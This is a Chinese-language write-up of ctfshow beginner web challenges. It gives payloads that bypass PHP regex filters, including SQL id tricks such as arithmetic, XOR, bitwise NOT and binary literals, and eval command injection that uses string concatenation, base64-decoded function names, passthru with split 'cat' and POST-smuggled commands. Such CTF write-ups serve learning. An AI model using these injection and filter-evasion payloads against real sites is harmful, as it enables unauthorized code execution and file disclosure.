ctfshow萌新
目录
总结:这几题主要都是正则匹配字符过滤的绕过,基本步骤都是源码中查看过滤规则->找到注入点->传入payload。只在web1中写了比较完整的步骤,剩下的题目主要只说对于字符过滤的绕过方法。
web1
1.手动注入。需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000
2.找到?id=" "处有回显
3.注释掉后面的语句,得到flag
最终payload:
?id='1000'%23?sql=select * from article where id = ‘1000’ order by id limit 1
web2-4
过滤规则:
web2
web3
web4
过滤规则比上一题多了一些,这三个题目都可以用逻辑或绕过
?id=999 || id=1000
其他方式
减号:?id=999- -1
除号:?id=2000/2)
乘号:?id=250*4
或运算符:?id=999 || id=1000
左移运算符:?id=500<<1,左移一位表示乘二
十六进制数:?id=0x3e8
web5-7
用到的绕过方法:
异或运算符:?id=328^672
非运算符:?id=~~1000
二进制:?id=0b1111101000
web5
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|/<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
逻辑或被ban了,这里用到逻辑非运算(非两次)
?id=~~1000
web6
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>
|\^(异或)|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
异或运算被ban,用上一题中的非运算依旧可以过
web7
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!
|\~(逻辑非)|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
非运算被ban了,用二进制可以绕过
?id=0b1111101000
web9
<?php
# flag in config.php
include("config.php");//提示要查看这个文件
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
//一开始理解错了,最后发现是c中需要包含system|exec|highlight才可以被执行
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
//这个函数可以展示文件中的所有信息
}
?>
传参
?c=highlight_file('config.php');
web10
if(!preg_match("/system|exec|highlight/i",$c)){
//和上一题不同的是这次c中不能包含这几个函数
eval($c);
}else{
die("cmd error");
}
方法1:重新定义几个变量,拼接出我们想要的函数即可(‘$a.$b’表示把a和b两个字符串接起来)
?c=$a=’high‘;$b=’light_file‘;$q=$a.$b;$q(‘config.php’);
方法2:题目是针对GET方式的限制,所以也可以先用GET传
?c=echo `$_POST[1]`?> //打印出post方式传入的变量1
再用POST传
1=xxx
//xxx为需要用到的指令,比如’cat confif.php'
web11
这题比上题多ban了一个‘cat’,用上一题方法1中的payload也能过
如果用的是system函数,代替‘cat’的可以是tac、more、less、head、tail、nl、sed、sort、uniq
也可以加单引号‘ ’ 双引号“” 反斜杠/来绕过
例如:
‘ca“”t config.php’
“ca''t config.php"
‘ca/t config.php’
web12
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
'.'被ban了,可以用编码后再解码的方法绕过
例如base64编码绕过
c=
$q =base64_decode('aGlnaGxpZ2h0X2ZpbGU=');
//highlight_file
$w=base64_decode('Y29uZmlnLnBocA==');
//config.php
$q($w);//完整函数语句
web13
比上一题多ban了分号";",如果想闭合语句可以改用?>,那payload就只能写成一句话
c=base64_decode(aGlnaGxpZ2h0X2ZpbGUoY29uZmlnLnBocCk')?>
//尝试把highlight_file('config.php')进行base64编码
(但这个payload不知道为什么行不通,一开始觉得是字符串没有被当作php执行的原因,但是加了assert()还是行不通)
最后是看了其他师傅的wp,用的是passthru函数
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
web14、15
依旧是先看过滤规则:
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
//括号被ban了,所以上面的payload行不通了
都可以用web10中提到的POST传参绕过
先用GET传入:
?c=echo `$_POST[1]`?>
POST传入:
1=cat config.php